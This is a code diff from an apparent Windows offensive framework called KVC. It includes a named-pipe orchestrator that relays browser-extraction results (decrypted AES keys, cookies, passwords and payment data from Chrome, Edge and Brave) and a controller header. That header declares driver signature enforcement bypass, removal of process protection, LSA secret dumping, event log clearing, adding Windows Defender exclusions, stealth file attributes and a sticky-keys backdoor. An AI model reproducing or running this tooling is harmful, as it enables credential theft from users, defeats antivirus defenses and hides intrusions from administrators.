while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS))
{
DWORD bytesAvailable = 0;
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
{
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError()));
break;
}
if (bytesAvailable == 0)
{
Sleep(100);
continue;
}
DWORD bytesRead = 0;
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
continue;
}
accumulatedData.append(buffer, bytesRead);
size_t messageStart = 0;
size_t nullPos;
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
{
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
messageStart = nullPos + 1;
if (message == moduleCompletionSignal)
{
m_console.Debug("Security module completion signal received.");
completed = true;
break;
}
parseExtractionMessage(message);
if (!message.empty())
m_console.Relay(message);
}
if (completed)
break;
accumulatedData.erase(0, messageStart);
}
std::cout << std::endl;
m_console.Debug("Security module signaled completion or pipe interaction ended.");
}
void PipeCommunicator::writeMessage(const std::string& msg)
{
DWORD bytesWritten = 0;
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
bytesWritten != (msg.length() + 1))
throw std::runtime_error("WriteFile to pipe failed for message: " + msg);
FlushFileBuffers(m_pipeHandle.get());
m_console.Debug("Sent message to pipe: " + msg);
}
void PipeCommunicator::parseExtractionMessage(const std::string& message)
{
auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int
{
size_t start = message.find(prefix);
if (start == std::string::npos) return 0;
start += prefix.length();
size_t end = message.find(suffix, start);
if (end == std::string::npos) return 0;
try {
return std::stoi(message.substr(start, end - start));
}
catch (...) {
return 0;
}
};
if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos)
m_stats.profileCount = extractNumber("Found ", " profile(s)");
if (message.find("Decrypted AES Key: ") != std::string::npos)
m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19);
if (message.find(" cookies extracted to ") != std::string::npos)
m_stats.totalCookies += extractNumber("[*] ", " cookies");
if (message.find(" passwords extracted to ") != std::string::npos)
m_stats.totalPasswords += extractNumber("[*] ", " passwords");
if (message.find(" payments extracted to ") != std::string::npos)
m_stats.totalPayments += extractNumber("[*] ", " payments");
}
// BrowserPathResolver implementation
BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {}
std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName)
{
m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName));
const std::wstring registryPaths[] = {
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName,
L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName
};
for (const auto& regPath : registryPaths)
{
std::wstring path = queryRegistryDefaultValue(regPath);
if (!path.empty() && fs::exists(path))
{
m_console.Debug("Found at: " + Utils::WStringToUtf8(path));
return path;
}
}
m_console.Debug("Not found in Registry");
return L"";
}
std::vector<std::pair<std::wstring, std::wstring>> BrowserPathResolver::findAllInstalledBrowsers()
{
std::vector<std::pair<std::wstring, std::wstring>> installedBrowsers;
const std::pair<std::wstring, std::wstring> supportedBrowsers[] = {
{L"chrome", L"chrome.exe"},
{L"edge", L"msedge.exe"},
{L"brave", L"brave.exe"}
};
m_console.Debug("Enumerating installed browsers...");
for (const auto& [browserType, exeName] : supportedBrowsers)
{
std::wstring path = resolve(exeName);
if (!path.empty())
{
installedBrowsers.push_back({browserType, path});
m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) +
" at: " + Utils::WStringToUtf8(path));
}
}
if (installedBrowsers.empty())
m_console.Warn("No supported browsers found installed on this system");
else
m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process");
return installedBrowsers;
}
std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath)
{
std::vector<wchar_t> pathBuffer(keyPath.begin(), keyPath.end());
pathBuffer.push_back(L'\0');
UNICODE_STRING_SYSCALLS keyName;
keyName.Buffer = pathBuffer.data();
keyName.Length = static_cast<USHORT>(keyPath.length() * sizeof(wchar_t));
keyName.MaximumLength = static_cast<USHORT>(pathBuffer.size() * sizeof(wchar_t));
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
HANDLE hKey = nullptr;
NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr);
if (!NT_SUCCESS(status))
{
if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND
m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status));
return L"";
}
// RAII guard for key handle
struct KeyGuard {
HANDLE h;
~KeyGuard() { if (h) NtClose_syscall(h); }
} keyGuard{hKey};
UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr};
ULONG bufferSize = 4096;
std::vector<BYTE> buffer(bufferSize);
ULONG resultLength = 0;
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
buffer.data(), bufferSize, &resultLength);
if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW)
{
buffer.resize(resultLength);
bufferSize = resultLength;
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
buffer.data(), bufferSize, &resultLength);
}
if (!NT_SUCCESS(status))
return L"";
auto kvpi = reinterpret_cast<PKEY_VALUE_PARTIAL_INFORMATION>(buffer.data());
if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ)
return L"";
if (kvpi->DataLength < sizeof(wchar_t) * 2)
return L"";
size_t charCount = kvpi->DataLength / sizeof(wchar_t);
std::wstring path(reinterpret_cast<wchar_t*>(kvpi->Data), charCount);
while (!path.empty() && path.back() == L'\0')
path.pop_back();
if (path.empty())
return L"";
if (kvpi->Type == REG_EXPAND_SZ)
{
std::vector<wchar_t> expanded(MAX_PATH * 2);
DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(),
static_cast<DWORD>(expanded.size()));
if (size > 0 && size <= expanded.size())
path = std::wstring(expanded.data());
}
return path;
}

111
kvc/CommunicationLayer.h Normal file
View File

@@ -0,0 +1,111 @@
// CommunicationLayer.h - Console output and inter-process communication
#ifndef COMMUNICATION_LAYER_H
#define COMMUNICATION_LAYER_H
#include <Windows.h>
#include <filesystem>
#include <string>
#include <vector>
#include <sstream>
#include "BannerSystem.h"
#include "BrowserHelp.h"
namespace fs = std::filesystem;
// Utility functions for string and path operations
namespace Utils
{
std::string u8string_to_string(const std::u8string& u8str) noexcept;
std::string path_to_api_string(const fs::path& path);
fs::path GetLocalAppDataPath();
std::string WStringToUtf8(std::wstring_view w_sv);
std::string PtrToHexStr(const void* ptr) noexcept;
std::string NtStatusToString(NTSTATUS status) noexcept;
std::wstring GenerateUniquePipeName();
std::string Capitalize(const std::string& str);
}
// Manages console output with colored messages
class Console
{
public:
explicit Console(bool verbose);
void Info(const std::string& msg) const;
void Success(const std::string& msg) const;
void Error(const std::string& msg) const;
void Warn(const std::string& msg) const;
void Debug(const std::string& msg) const;
void Relay(const std::string& message) const;
bool m_verbose;
private:
void print(const std::string& tag, const std::string& msg, WORD color) const;
void SetColor(WORD attributes) const noexcept;
void ResetColor() const noexcept;
HANDLE m_hConsole;
WORD m_originalAttributes;
};
// Handles named pipe communication with injected module
class PipeCommunicator
{
public:
struct ExtractionStats
{
int totalCookies = 0;
int totalPasswords = 0;
int totalPayments = 0;
int profileCount = 0;
std::string aesKey;
};
PipeCommunicator(const std::wstring& pipeName, const Console& console);
void create();
void waitForClient();
void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey = {});
void relayMessages();
const ExtractionStats& getStats() const noexcept { return m_stats; }
const std::wstring& getName() const noexcept { return m_pipeName; }
private:
// RAII wrapper for pipe handle
struct PipeDeleter
{
void operator()(HANDLE h) const noexcept
{
if (h != INVALID_HANDLE_VALUE)
CloseHandle(h);
}
};
using UniquePipe = std::unique_ptr<void, PipeDeleter>;
void writeMessage(const std::string& msg);
void parseExtractionMessage(const std::string& message);
std::wstring m_pipeName;
const Console& m_console;
UniquePipe m_pipeHandle;
ExtractionStats m_stats;
};
// Resolves browser installation paths via Registry
class BrowserPathResolver
{
public:
explicit BrowserPathResolver(const Console& console);
std::wstring resolve(const std::wstring& browserExeName);
std::vector<std::pair<std::wstring, std::wstring>> findAllInstalledBrowsers();
private:
std::wstring queryRegistryDefaultValue(const std::wstring& keyPath);
const Console& m_console;
};
#endif // COMMUNICATION_LAYER_H

103
kvc/CommunicationModule.cpp Normal file
View File

@@ -0,0 +1,103 @@
// CommunicationModule.cpp - Pipe communication and utility functions
#include "CommunicationModule.h"
#include <ShlObj.h>
#include <Wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
namespace SecurityComponents
{
namespace Utils
{
// Retrieves Local AppData path
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
// Decodes Base64 string into byte vector
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return std::nullopt;
std::vector<uint8_t> data(size);
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
return std::nullopt;
return data;
}
// Converts byte array to hex string
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : bytes)
oss << std::setw(2) << static_cast<int>(byte);
return oss.str();
}
// Escapes JSON special characters
std::string EscapeJson(const std::string& s)
{
std::ostringstream o;
for (char c : s)
{
switch (c)
{
case '"': o << "\\\""; break;
case '\\': o << "\\\\"; break;
case '\b': o << "\\b"; break;
case '\f': o << "\\f"; break;
case '\n': o << "\\n"; break;
case '\r': o << "\\r"; break;
case '\t': o << "\\t"; break;
default:
if ('\x00' <= c && c <= '\x1f')
{
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
}
else
{
o << c;
}
}
}
return o.str();
}
}
// PipeLogger implementation
PipeLogger::PipeLogger(LPCWSTR pipeName)
{
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
}
PipeLogger::~PipeLogger()
{
if (m_pipe != INVALID_HANDLE_VALUE)
{
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
FlushFileBuffers(m_pipe);
CloseHandle(m_pipe);
}
}
void PipeLogger::Log(const std::string& message)
{
if (isValid())
{
DWORD bytesWritten = 0;
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
}
}
}

58
kvc/CommunicationModule.h Normal file
View File

@@ -0,0 +1,58 @@
// CommunicationModule.h - Inter-process communication and utilities
#ifndef COMMUNICATION_MODULE_H
#define COMMUNICATION_MODULE_H
#include <Windows.h>
#include <string>
#include <vector>
#include <optional>
#include <filesystem>
#include <sstream>
#include <iomanip>
namespace fs = std::filesystem;
// String utility functions for internal module use
namespace StringUtils
{
inline std::string path_to_string(const fs::path& path)
{
return path.string();
}
}
namespace SecurityComponents
{
// Utility functions for encoding and formatting
namespace Utils
{
// Retrieves Local AppData directory path
fs::path GetLocalAppDataPath();
// Decodes Base64 encoded string
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input);
// Converts bytes to hexadecimal string
std::string BytesToHexString(const std::vector<uint8_t>& bytes);
// Escapes special characters for JSON serialization
std::string EscapeJson(const std::string& s);
}
// Manages named pipe communication with orchestrator
class PipeLogger
{
public:
explicit PipeLogger(LPCWSTR pipeName);
~PipeLogger();
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
void Log(const std::string& message);
HANDLE getHandle() const noexcept { return m_pipe; }
private:
HANDLE m_pipe = INVALID_HANDLE_VALUE;
};
}
#endif // COMMUNICATION_MODULE_H

View File

@@ -1,27 +1,36 @@
// Controller.h
// Main orchestration class for KVC Framework operations
#pragma once
#include "SessionManager.h"
#include "kvcDrv.h"
#include "DSEBypass.h"
#include "OffsetFinder.h"
#include "TrustedInstallerIntegrator.h"
#include "Utils.h"
#include "WatermarkManager.h"
#include <vector>
#include <memory>
#include <optional>
#include <chrono>
#include <unordered_map>
class ReportExporter;
// Core kernel process structures
// Kernel process structure representation
struct ProcessEntry
{
ULONG_PTR KernelAddress; // EPROCESS structure address
DWORD Pid; // Process identifier
UCHAR ProtectionLevel; // PP/PPL/None protection level
UCHAR SignerType; // Digital signature authority
UCHAR SignatureLevel; // Executable signature verification level
UCHAR SectionSignatureLevel; // DLL signature verification level
std::wstring ProcessName; // Process executable name
ULONG_PTR KernelAddress;
DWORD Pid;
UCHAR ProtectionLevel;
UCHAR SignerType;
UCHAR SignatureLevel;
UCHAR SectionSignatureLevel;
std::wstring ProcessName;
};
// Process search result
struct ProcessMatch
{
DWORD Pid = 0;
@@ -29,7 +38,7 @@ struct ProcessMatch
ULONG_PTR KernelAddress = 0;
};
// WinSQLite dynamic loading for browser database operations
// SQLite function pointers for browser operations
struct SQLiteAPI
{
HMODULE hModule = nullptr;
@@ -43,30 +52,31 @@ struct SQLiteAPI
int (*close_v2)(void*) = nullptr;
};
// Password extraction result structure
// Password extraction result
struct PasswordResult
{
std::wstring type; // Chrome, Edge, WiFi credential type
std::wstring profile; // Browser/WiFi profile name
std::wstring url; // URL for browser logins
std::wstring username; // Login username
std::wstring password; // Decrypted password
std::wstring file; // Source file path
std::wstring data; // Additional data
std::wstring status; // DECRYPTED, ENCRYPTED, FAILED
uintmax_t size = 0; // Data size in bytes
std::wstring type;
std::wstring profile;
std::wstring url;
std::wstring username;
std::wstring password;
std::wstring file;
std::wstring data;
std::wstring status;
uintmax_t size = 0;
};
// Registry master key for DPAPI operations
struct RegistryMasterKey
{
std::wstring keyName; // Registry key path (DPAPI_SYSTEM, NL$KM, etc.)
std::vector<BYTE> encryptedData; // Raw encrypted data
std::vector<BYTE> decryptedData; // Decrypted data
bool isDecrypted = false; // Decryption success flag
std::wstring keyName;
std::vector<BYTE> encryptedData;
std::vector<BYTE> decryptedData;
bool isDecrypted = false;
};
// Main controller class with atomic operation management
// Main controller class managing kernel driver, process protection,
// memory dumping, DPAPI extraction, and system operations
class Controller
{
public:
@@ -78,50 +88,100 @@ public:
Controller(Controller&&) noexcept = default;
Controller& operator=(Controller&&) noexcept = default;
// Memory dumping operations with atomic driver management
// DSE bypass operations
bool DisableDSE() noexcept;
bool RestoreDSE() noexcept;
bool DisableDSEAfterReboot() noexcept;
ULONG_PTR GetCiOptionsAddress() const noexcept;
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
// Handles removal and restoration of system watermark related to signature hijacking
bool RemoveWatermark() noexcept;
bool RestoreWatermark() noexcept;
std::wstring GetWatermarkStatus() noexcept;
// Memory dumping
bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept;
bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept;
// Combined binary processing for kvc.dat
// Binary management
bool LoadAndSplitCombinedBinaries() noexcept;
bool WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
const std::vector<BYTE>& kvcCryptData) noexcept;
// Process information operations with driver caching
// Process information
bool ListProtectedProcesses() noexcept;
bool GetProcessProtection(DWORD pid) noexcept;
bool GetProcessProtectionByName(const std::wstring& processName) noexcept;
bool PrintProcessInfo(DWORD pid) noexcept;
// Process protection manipulation with atomic operations
// Process protection manipulation
bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectProcess(DWORD pid) noexcept;
// Name-based operations
bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
// Signer-based batch operations
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
bool SetProtectionBySigner(const std::wstring& currentSigner,
const std::wstring& level,
const std::wstring& newSigner) noexcept;
// Session state management
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
bool RestoreAllProtection() noexcept;
void ShowSessionHistory() noexcept;
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
SessionManager m_sessionMgr;
// Batch operations
bool UnprotectAllProcesses() noexcept;
bool UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept;
bool ProtectMultipleProcesses(const std::vector<std::wstring>& targets,
const std::wstring& protectionLevel,
const std::wstring& signerType) noexcept;
bool SetMultipleProcessesProtection(const std::vector<std::wstring>& targets,
const std::wstring& protectionLevel,
const std::wstring& signerType) noexcept;
// DPAPI password extraction with TrustedInstaller
// Process termination
bool KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept;
bool KillMultipleTargets(const std::vector<std::wstring>& targets) noexcept;
bool KillProcess(DWORD pid) noexcept;
bool KillProcessByName(const std::wstring& processName) noexcept;
// Kernel access
std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
std::optional<UCHAR> GetProcessProtection(ULONG_PTR kernelAddress) noexcept;
std::vector<ProcessEntry> GetProcessList() noexcept;
// Self-protection
bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;
// DPAPI password extraction
bool ShowPasswords(const std::wstring& outputPath) noexcept;
bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept;
// Enhanced system integration with comprehensive Defender exclusion management
// TrustedInstaller operations
bool RunAsTrustedInstaller(const std::wstring& commandLine);
bool RunAsTrustedInstallerSilent(const std::wstring& command);
bool AddContextMenuEntries();
// Legacy exclusion management (backward compatibility)
// Windows Defender exclusions
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
// Enhanced exclusion management with type specification
bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
// Type-specific exclusion convenience methods
// Type-specific exclusions
bool AddExtensionExclusion(const std::wstring& extension);
bool RemoveExtensionExclusion(const std::wstring& extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress);
@@ -131,67 +191,84 @@ public:
bool AddPathExclusion(const std::wstring& path);
bool RemovePathExclusion(const std::wstring& path);
// Event log clearing operations with administrative privileges
// System administration
bool ClearSystemEventLogs() noexcept;
// Legacy driver management for compatibility
// Driver management
bool InstallDriver() noexcept;
bool UninstallDriver() noexcept;
bool StartDriverService() noexcept;
bool StopDriverService() noexcept;
bool StartDriverServiceSilent() noexcept;
std::vector<BYTE> ExtractEncryptedDriver() noexcept;
std::vector<BYTE> DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept;
// Self-protection operations
bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;
// Driver extraction (already decrypted by Utils)
std::vector<BYTE> ExtractDriver() noexcept;
// Sticky keys backdoor management
// Emergency operations
bool PerformAtomicCleanup() noexcept;
// Backdoor management
bool InstallStickyKeysBackdoor() noexcept;
bool RemoveStickyKeysBackdoor() noexcept;
private:
// Core components
TrustedInstallerIntegrator m_trustedInstaller;
std::unique_ptr<kvc> m_rtc;
std::unique_ptr<kvc> m_rtc;
std::unique_ptr<OffsetFinder> m_of;
std::unique_ptr<DSEBypass> m_dseBypass;
SQLiteAPI m_sqlite;
// Privilege and system management
bool EnablePrivilege(LPCWSTR privilegeName) noexcept;
// Privilege management
bool EnableDebugPrivilege() noexcept;
bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept;
// Enhanced file writing with TrustedInstaller privileges
bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept;
// PE splitting with enhanced validation
// Binary processing
bool SplitCombinedPE(const std::vector<BYTE>& combinedData,
std::vector<BYTE>& kvcPassData,
std::vector<BYTE>& kvcCryptData) noexcept;
// Atomic driver operations for stability
// Driver operations
bool ForceRemoveService() noexcept;
bool EnsureDriverAvailable() noexcept;
bool IsDriverCurrentlyLoaded() noexcept;
bool PerformAtomicInit() noexcept;
bool PerformAtomicInitWithErrorCleanup() noexcept;
// Silent driver installation
bool InstallDriverSilently() noexcept;
bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept;
// Kernel process management
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
std::vector<ProcessEntry> GetProcessList() noexcept;
std::optional<UCHAR> GetProcessProtection(ULONG_PTR addr) noexcept;
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
// Driver session management
bool m_driverSessionActive = false;
std::chrono::steady_clock::time_point m_lastDriverUsage;
// Process pattern matching with regex support
bool BeginDriverSession();
bool IsServiceZombie() noexcept;
void EndDriverSession(bool force = false);
void UpdateDriverUsageTimestamp();
// Cache management
void RefreshKernelAddressCache();
std::optional<ULONG_PTR> GetCachedKernelAddress(DWORD pid);
// Internal process termination
bool KillProcessInternal(DWORD pid, bool batchOperation = false) noexcept;
// Kernel address cache
std::unordered_map<DWORD, ULONG_PTR> m_kernelAddressCache;
std::chrono::steady_clock::time_point m_cacheTimestamp;
std::vector<ProcessEntry> m_cachedProcessList;
// Process management
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
std::vector<ProcessMatch> FindProcessesByName(const std::wstring& pattern) noexcept;
bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept;
// Memory dumping with comprehensive protection handling
// Batch operation helpers
bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel,
const std::wstring& signerType, bool batchOperation) noexcept;
bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel,
const std::wstring& signerType, bool batchOperation) noexcept;
// Memory dumping
bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept;
bool SetCurrentProcessProtection(UCHAR protection) noexcept;
@@ -199,39 +276,31 @@ private:
bool PerformPasswordExtractionInit() noexcept;
void PerformPasswordExtractionCleanup() noexcept;
// Registry master key extraction with TrustedInstaller
// Registry master key extraction
bool ExtractRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ExtractLSASecretsViaTrustedInstaller(std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
// Registry master key processing for enhanced display
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
// Browser password processing with AES-GCM decryption
// Browser password processing
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<BYTE>& decryptedKey) noexcept;
int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector<BYTE>& masterKey, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
// WiFi credential extraction via netsh
// WiFi credentials
bool ExtractWiFiCredentials(std::vector<PasswordResult>& results) noexcept;
// SQLite database operations
// SQLite operations
bool LoadSQLiteLibrary() noexcept;
void UnloadSQLiteLibrary() noexcept;
// Cryptographic operations for DPAPI and Chrome AES-GCM
std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept;
// Cryptographic operations
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
// Process name resolution with driver-free options
// Process name resolution
std::optional<ProcessMatch> ResolveProcessName(const std::wstring& processName) noexcept;
std::vector<ProcessMatch> FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept;
// Emergency cleanup for atomic operations
bool PerformAtomicCleanup() noexcept;
};

View File

@@ -1,29 +1,5 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
// ControllerBinaryManager.cpp - Binary component extraction and deployment with privilege escalation
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerBinaryManager.cpp - Fixed compilation issues
#include "Controller.h"
#include "common.h"
#include "Utils.h"
@@ -32,6 +8,7 @@ that define these protections.
namespace fs = std::filesystem;
// Writes file with automatic privilege escalation if normal write fails
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
// First attempt: normal write operation
@@ -49,11 +26,11 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
// Force delete if still locked
// Try to delete with normal privileges first
if (!DeleteFileW(filePath.c_str())) {
// Use TrustedInstaller for stubborn files - call on instance
std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
// Fallback: Use TrustedInstaller for system-protected files
INFO(L"Normal delete failed, escalating to TrustedInstaller");
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(filePath)) {
ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
return false;
}
@@ -65,25 +42,10 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
return true;
}
// Final fallback: use TrustedInstaller to write file
const fs::path tempDir = fs::temp_directory_path();
const fs::path tempFile = tempDir / fs::path(filePath).filename();
// Write to temp location first
if (!Utils::WriteFile(tempFile.wstring(), data)) {
ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
return false;
}
// Copy from temp to target with TrustedInstaller - call on instance
std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
// Cleanup temp file
DeleteFileW(tempFile.c_str());
if (!copySuccess) {
ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
// Final fallback: write directly with TrustedInstaller privileges
INFO(L"Using TrustedInstaller to write file to protected location");
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(filePath, data)) {
ERROR(L"TrustedInstaller write operation failed for: %s", filePath.c_str());
return false;
}
@@ -168,19 +130,25 @@ bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
// Add Windows Defender exclusions for deployed components
INFO(L"Adding Windows Defender exclusions for deployed components");
// Add Windows Defender exclusions for deployed components using batch operation
INFO(L"Adding Windows Defender exclusions for deployed components");
// Add paths (all files)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
// Use batch operation instead of individual calls for better performance
std::vector<std::wstring> paths = {
kvcPassPath.wstring(),
kvcCryptPath.wstring(),
kvcMainPath.wstring()
};
// Add processes (executables only)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
